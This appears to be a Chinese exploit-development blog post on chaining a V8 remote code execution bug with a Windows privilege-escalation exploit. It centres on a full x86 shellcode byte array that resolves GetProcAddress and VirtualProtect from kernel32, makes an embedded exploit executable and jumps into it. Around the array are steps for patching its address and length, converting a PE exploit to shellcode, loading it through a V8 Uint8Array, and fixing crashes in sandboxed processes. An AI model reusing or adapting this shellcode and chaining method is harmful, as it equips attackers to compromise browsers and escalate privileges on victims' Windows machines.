v8 fullchain

记录下v8 rce和windows exp的结合

参考

https://nobb.site/2022/02/23/0x74/

作者有部分没写全这里完善下

简述

先说下大致流程

v8 rce后shellcode要改,大致内容就是virtualprotect设置exp可执行,然后跳转(这我自己写的,可能不太完美)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var shellcode = [
0x31, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B,
0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B, 0x58, 0x10, 0x8B, 0x53,
0x3C, 0x01, 0xDA, 0x8B, 0x52, 0x78, 0x01, 0xDA, 0x8B, 0x72,
0x20, 0x01, 0xDE, 0x31, 0xC9, 0x41, 0xAD, 0x01, 0xD8, 0x81,
0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81, 0x78, 0x04,
0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64,
0x64, 0x72, 0x65, 0x75, 0xE2, 0x8B, 0x72, 0x24, 0x01, 0xDE,
0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x01, 0xDE,
0x8B, 0x14, 0x8E, 0x01, 0xDA, 0x31, 0xF6, 0x89, 0xD6, 0x31,
0xFF, 0x89, 0xDF, 0x31, 0xC9, 0x68, 0x63, 0x74, 0x42, 0x42,
0x88, 0x4C, 0x24, 0x02, 0x68, 0x72, 0x6F, 0x74, 0x65, 0x68,
0x75, 0x61, 0x6C, 0x50, 0x68, 0x56, 0x69, 0x72, 0x74, 0x54,
0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0E, 0x31, 0xC9, 0x51, 0x8D,
0x0C, 0x24, 0x51, 0x6A, 0x40, 0x68, 0x00, 0xb1, 0x03, 0x00,
0x68, 0x00, 0xA0, 0xED, 0x00, 0xFF, 0xD0, 0x68, 0x00, 0xA0,
0xED, 0x00, 0xC3
];

shellcode如上

逻辑如图所示,简单来说就是现根据kernel32基地址拿getprocessaddr然后拿virtualprotect地址接着跳转执行

image-20220402181828040

有三个需要更改的地方,一个是exp地址,上图是0xeda000

还有一个是length,上图是0xfa,这个length自行在v8 exp里修改即可。

当然直接跳转到exp肯定不能跑,这边需要借助下github的一个项目

https://github.com/hasherezade/pe_to_shellcode

根据反射式dll注入改的,pe头部会被当作shellcode来执行,当然直接跑也可以。

在编写v8exp时,吧转换成shellcode的提权exp写入uint8array然后leak出提权exp地址

然后修改上面的shellcode,注意length也要对应的修改。

image-20220402182258595

注意点

打某些程序时出现peshellcode初始化异常问题

调试下来发现是ucrtbase.dll这个库不在该sandboxed process的module list里

可以用gcc编译提权的exp来解决。注意要带重定位表,不然pe2shellcode不能使用。

文章目录
  1. 1. 简述
  2. 2. 注意点
|